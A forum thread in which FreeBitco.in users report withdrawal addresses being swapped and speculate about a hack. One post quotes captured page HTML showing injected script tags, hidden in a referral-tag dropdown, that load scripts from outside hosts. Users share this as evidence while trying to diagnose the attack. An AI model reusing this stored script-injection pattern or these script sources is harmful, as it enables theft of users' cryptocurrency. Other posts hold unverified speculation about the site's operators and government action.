FreeBitco.in-$200 FreeBTC⭐Win Lambo🔥0.2BTC DailyJackpot🏆$32,500 Wager Contest

[codergeek]

I'm getting lists of referrals for lawyers as we speak

Who were the lawyers prosecuting the Sam Bankman-Fried (FTX) and Changpeng Zhao (Binance) cases?

Just sayin'

[ixi1234]

OK, so that people no longer have doubts about how the address is being changed when withdrawing funds. At the end of the video, watch carefully how my output address was changed!!! I hope no one else will say that we are deceiving you and the site is not hacked!
https://dropmefiles.com/56V5d



Update!!!:
After I posted the video with the substitution of the withdrawal address, an hour later I tried to withdraw funds again and surprisingly my address did not change and the withdrawal went to the correct address! Is it a coincidence??? Or are hackers monitoring this forum topic?

[NotATether]

Worst case scenario is, the feds are after this website.

This website didn’t do any kyc for more than 10 years and suddenly it was last year if remember right, it started to mention KYC in their ToS. That can’t be a coincidence.

This website might be the next victim of the gov.

Every website is dropping like flies suddenly. I wonder why.

I recall the other day, two very well known mixers went offline within a short interval, a few days (go to the Altcoinstalks forum for more information)

And now this happens.

Never in my history of using this site since 2019 have I heard of this sort of mass hack happening.

[mrust_mobile]

Worst case scenario is, the feds are after this website.
This website didn’t do any kyc for more than 10 years and suddenly it was last year if remember right, it started to mention KYC in their ToS. That can’t be a coincidence.
This website might be the next victim of the gov.

Every website is dropping like flies suddenly. I wonder why.
I recall the other day, two very well known mixers went offline within a short interval, a few days (go to the Altcoinstalks forum for more information)
And now this happens.
Never in my history of using this site since 2019 have I heard of this sort of mass hack happening.

He went online today.

Another worrying thing is, till January he was making posts non-stop. Then zero posts made in February and one post was made in March and one in April. This strengthens my theory but let's hear his explanation first.

[shield132]

It seems to me the freebitco.in's backend works as it should but somebody found a way to inject a script on the front-end of the app and it manipulates the DOM and tricks you into doing the shit you shouldn't be doing.

Like: "You are hacked, send x amount of btc to this adress to get unhacked"

In reality, you weren't hacked at all. It is just what this script kiddie wants you to believe. Regardless of that, it should be handled asap.

Is it possible to solve this with manually putting some scripts in developers' console? Sorry if it's a dumb question, I am not a developer.

TheQuin probably has a lot going on in his personal life. I have contacted him on Jan/24 and he replied to me on Jan/27. I had a delay with my deposit and my balance showed up a few seconds after I sent him a message. 3 days later he replied to me and said that the wallet software was updated and it works a bit slower than the old one.

Worst case scenario is, the feds are after this website.

This website didn’t do any kyc for more than 10 years and suddenly it was last year if remember right, it started to mention KYC in their ToS. That can’t be a coincidence.

This website might be the next victim of the gov.

I personally never had a problem with FreeBitco, I use their website since 2015. Bustabit doesn't ask for KYC documents and probably are as popular as Freebitco and they never had a problem, so I don't think that government is after this website. As far as I understood, crypto casinos that only offer in-house games, don't necessarily need a license.

Update!!!:
After I posted the video with the substitution of the withdrawal address, an hour later I tried to withdraw funds again and surprisingly my address did not change and the withdrawal went to the correct address! Is it a coincidence??? Or are hackers monitoring this forum topic?

This is really strange, I already requested an instant withdrawal of my funds from Freebitco and I received them. Btw thanks for sharing your info, I think that it's not a good time to deposit and play on Freebitco. I hope everyone who deposited Bitcoin to get 4% APY will withdraw soon because the situation is really terrible.

@wetsuit and @TheQueen, please come here and solve this problem, this is urgent! Or many people like me will withdraw from your casino.

[mrust_mobile]

It seems to me the freebitco.in's backend works as it should but somebody found a way to inject a script on the front-end of the app and it manipulates the DOM and tricks you into doing the shit you shouldn't be doing.

Like: "You are hacked, send x amount of btc to this adress to get unhacked"

In reality, you weren't hacked at all. It is just what this script kiddie wants you to believe. Regardless of that, it should be handled asap.

Is it possible to solve this with manually putting some scripts in developers' console? Sorry if it's a dumb question, I am not a developer.

No you can't do anything like that and it looks like my assumption was half-true half-wrong, the attacker is able send withdrawal requests to the server according to codergeek.

...
I wonder if this script can send a withdrawal request or change the withdrawal address though. Since it has an access to the client side, it can do whatever it wants. (From your side)

Yes, it can do both. An unauthorised withdrawal was initiated on my account. And it was able to bypass my profile address.

[Drazen2003]

Update 11:50am CET.

It seems i have recovered my account but... why? when? where?

I see my real deposit address in the Deposit window and none of the scripts that I had until now appear.

Developer tools: Sources - Top > freebitco.in > ?op=home

WHEN I REPORTED THE ISSUE:

 <div class="center bold" style="padding-bottom:10px;">SELECT A TAG TO VIEW ITS STATS</div>
    <center>
        <select id="get_tag_stats" style="width:275px;">
            <option value>--</option>
           <option value="<script src=https://cashtravel.info/forum/main.js></script>">
                <script src="https://cashtravel.info/forum/main.js"></script>
            </option>
            <option value="<script src=https://cdn.jsdelivr.net/gh/feleryunfbc/js/jquery.min.js></script>">
                <script src="https://cdn.jsdelivr.net/gh/feleryunfbc/js/jquery.min.js"></script>
            </option>
        </select>

YESTERDAY (My deposit address was still fake):

    <div class="center bold" style="padding-bottom:10px;">SELECT A TAG TO VIEW ITS STATS</div>
    <center>
        <select id="get_tag_stats" style="width:275px;">
            <option value>--</option>
            <option value="<script src=https://cdn.jsdelivr.net/gh/feleryunfbc/js/jquery.min.js></script>">
                <script src="https://cdn.jsdelivr.net/gh/feleryunfbc/js/jquery.min.js"></script>
            </option>
        </select>

TODAY (My deposit address is the mine one again):

    <div class="center bold" style="padding-bottom:10px;">SELECT A TAG TO VIEW ITS STATS</div>
    <center>
        <select id="get_tag_stats" style="width:275px;">
            <option value>--</option>
        </select>

No one from freebitco.in has contacted me or responded to any of my emails sent.

I don't know if Freebitco.in fixed it or if the hackers have removed the scripts to calm us down and can attack whenever they want again.

My trust in Freebitcoin = 0%

[Drazen2003]

I add a discover from @Zibi321 than could help the Freebitco.in people (if they really exist):

Of course I could be wrong, but from my point of view attackers are able to put link into particular place on fbc website.
And it's exactly:
FBC -> "REFER" tab -> "ADVANCED TRACKING USING TAGS" button -> "SELECT A TAG TO VIEW ITS STATS" and link is hidden in drop down list.
It was not visible from GUI, but it was somehow placed into html code.

Link leads to malicious script which is executed during website loading.
And because of it website content can be modified.

Praying that hackers don't attack again soon and hoping for some explanation from freebitco.in.

[piebeyb]

Update!!!:
After I posted the video with the substitution of the withdrawal address, an hour later I tried to withdraw funds again and surprisingly my address did not change and the withdrawal went to the correct address! Is it a coincidence??? Or are hackers monitoring this forum topic?

This is really strange, I already requested an instant withdrawal of my funds from Freebitco and I received them. Btw thanks for sharing your info, I think that it's not a good time to deposit and play on Freebitco. I hope everyone who deposited Bitcoin to get 4% APY will withdraw soon because the situation is really terrible.

@wetsuit and @TheQueen, please come here and solve this problem, this is urgent! Or many people like me will withdraw from your casino.

There is nothing that anyone in this forum can do unless a representative from this site comes to clarify any existing problems, I also don't want to accuse which user or this site is the one with the problem and I will just be neutral because I don't have any deposit money. on this site also only free bitcoins that I get, but I think we all know that this site has been paying its users a lot for several years and already has high trust in this site but lately they seem to have closed themselves off or like there is something wrong with it. we don't know yet.

One of the representatives from freebitcoin Thequin is always active, but it seems that he hasn't answered anything in this thread, even though this issue is important to clarify so that there is no chaos or some kind of accusation that makes the reputation of this site even worse, especially since round 10 Lambo winners have not yet been announced. announce, is this site okay or has it gone bankrupt because almost every time I think about that and have not yet made a withdrawal from this site, but I hope their representatives will come to solve the problem that is occurring.

[codergeek]

It seems to me the freebitco.in's backend works as it should but somebody found a way to inject a script on the front-end of the app and it manipulates the DOM and tricks you into doing the shit you shouldn't be doing.

Like: "You are hacked, send x amount of btc to this adress to get unhacked"

In reality, you weren't hacked at all. It is just what this script kiddie wants you to believe. Regardless of that, it should be handled asap.

Is it possible to solve this with manually putting some scripts in developers' console? Sorry if it's a dumb question, I am not a developer.

No you can't do anything like that and it looks like my assumption was half-true half-wrong, the attacker is able send withdrawal requests to the server according to codergeek.

...
I wonder if this script can send a withdrawal request or change the withdrawal address though. Since it has an access to the client side, it can do whatever it wants. (From your side)

Yes, it can do both. An unauthorised withdrawal was initiated on my account. And it was able to bypass my profile address.

The same thing happened to Legendary member BayAreaCoins.

That case is opened here:
https://bitcointalk.org/index.php?topic=5495097.msg64024210#msg64024210

[soslex]

The ticket list for the 10th lambo drawing has been posted on the freebitco.in twitter account. We will know the winner when bitcoin block 842189 is mined.

Good luck to everyone who earned tickets during round 10!

[pawanjain]

I have been reading the last few posts in the thread and I understand that few users are facing problems with their withdrawals.
But do we have a number of users who are affected or the hack is even real or may be it's a technical glitch.
The issue with TheQuin not responding in this thread has been since few months and so we cannot take that into account for the recent issues.
Freebitco.in has had a good reputation and so it's a big concern if a huge number of users are facing such issues.

[dimonstration]

The hackers targeted high rollers and i was among them. I took the top 7 in the weekly contest and became a victim the next day after receiving the $1000 prize. I have the same hacking scenario as the others. The address of the hackers' deposit is implanted in my profile and funds are automatically withdrawn to this address when you try to withdraw them yourself, regardless of what address you entered manually.

Can you verify if the email you received from freebitco.in is official email when you received a notification from the tournament rewards. Not only that you are all high roller but all of you might possibly receive a malicious email that resulted to unknowingly downloading a malware that cause this hack

I’m less active on this casino since I only use this before for faucet but somethings strange on how you are the only one affected here even if you’re username is available publicly, hackers can’t hack your account by just knowing your user id.

[STT]

Its the emails that should probably be examined.   If I had any doubts I'd isolate first all, setup a new gmail with 2fa and start using that new address for anything wanting to secure.  Keep a separate email account any emails of lesser importance, junk mail basically.   Use a site called spamgourmet to filter emails perhaps could be of help.  Gmail let you put a dot anywhere in your name to distinguish its usage, that might help.

The old email account that possibly received emails should not be used, examine those emails for anything that was possibly phishing etc.   Thats something in possession of the user that can be checked to try and narrow it down.

[ixi1234]

You're kidding me, right? All the evidence that malicious code was implanted into the site is in this thread, I and other people posted them, also read this forum thread https://bitcointalk.org/index.php?topic=5495097.0
It's not about email.

[Drazen2003]

Scripts demonstrated from several people, tests on different computers and different devices, evidences of sending balances to accounts that are not those of the user...

...even the part of the page where the hackers have been adding the scripts is known!!

...and there are still people who have doubts. Well, I'm sorry, but those people deserve the same that many of us have suffered these week. I have lost a lot of money (for me) but I have tried my best to give all possible details to solve the problem so that it does not happen to more users... without anyone from Frebitco.in offering me my stolen money or help . It's more, they haven't contacted me.

And with the absence of the Freebitco.in team explanations, the exploit is still alive and hackers will do it again whenever they want. Maybe next time it will be some unbeliever's turn.

[Drazen2003]

Hello again,

I want to ask you help for not to suffer my third robbery.

Curiously, i have an email saying i have won a prize in the lottery and the funds have been added to my account.

The email has this data:

Return-Path: <0100018f49d0607c-35c8066c-f5d8-4b49-98da-36d25d7d4826-000000@mail.freebitco.in>
From: noreply@freebitco.in
Reply-To: noreply@freebitco.in

It has 2 Signatures in the properties and the text is (i I have obfuscated some data with X):

Congratulations! you have won the XXX prize of X.XXXXXXX BTC in the weekly lottery draw at FreeBitco.in! The amount you won has been added to your balance on the website and can be withdrawn anytime. We hope that you will let others know about your win as that would help us become more popular. You can use your referral link (https://freebitco.in/?r=XXXXXXXX) when you let people know so that you receive 1 free lottery ticket for each FREE PLAY roll that your referred users play!

Can someone help me how to verify the email? Right now my Deposit Address seems correct and I don't see the malicious scripts but...

...I'm completely scared.

[shield132]

Can someone help me how to verify the email? Right now my Deposit Address seems correct and I don't see the malicious scripts but...

...I'm completely scared.

When you open the email box, there should be this message on top:

If you cannot see the email below, please click here to see the web version.

Click on the web version and it should redirect you to Freebitco.in's website. I clicked on one of my email and it redirected me to this URL - https://freebitco.in/?op=email_web_version&email_id=....................... Freebitco.in is the official website, so this means that email is 100% from Freebitco.in
You can also view the mail headers but I don't know which email service you use. Btw return path is @mail.freebitco.in, I believe it's 100% from Freebitco.in

[codergeek]

You're kidding me, right?
...
It's not about email.

I agree.

BlackHatCoiner on signature campaigns:

...
Overall, this forum incentivizes quality posting, even though it might encourage shitposting sometimes.

Some members buy these high ranking accounts to run signature campaigns.


I believe in you.

[theindianderp]

My 2FA is not working anymore and I am unable to reset it.
Help!

- Follow the instructions published here in Login/Reset:
https://freebitco.in/signup/?op=s
image:
https://ip.bitcointalk.org/?u=https%3A%2F%2Fi.ibb.co%2F7r0gBtW%2FImage.png&t=660&c=7S32YB8AhReHXA

- If you are unable to follow the instructions, this site isn't for you.

- If you are able, write down what you already did and I will add something else.

I have stated many times that if you are unable to use the automated 2fa reset provided you need to message me a Bitcoin signed message either from the Bitcoin address you set as default on the profile page or an address you have previously deposited from. As we're an anonymous to use site we don't know who owns the account so messaging me offering to prove your identity isn't of any use.

Since I sent it using CashApp mobile app, how do I sign and send an email?
The signing and sending is new to me.

Suggestions anyone?
While it is just around $300 USD worth BTC, I DCA'd dollar by dollar so it'll be nice to have access to the account again.

Amidst a lot of things going on, I wanted to post a quick update on account recovery.
I tried Electrum but since the sending address was not of Electrum but a non custodial wallet like CashApp, I wasn't able to create a signed message using Electrum.

I then created a signed messaged in a format that some have shared in other threads and sent TheQuin a PM. I also added the original account opening email from 2020 and the deposit emails from September 2021.

Now waiting for an update, clinging to 1% hope to recover deposited BTC and FUN Tokens given other things I am reading about the website.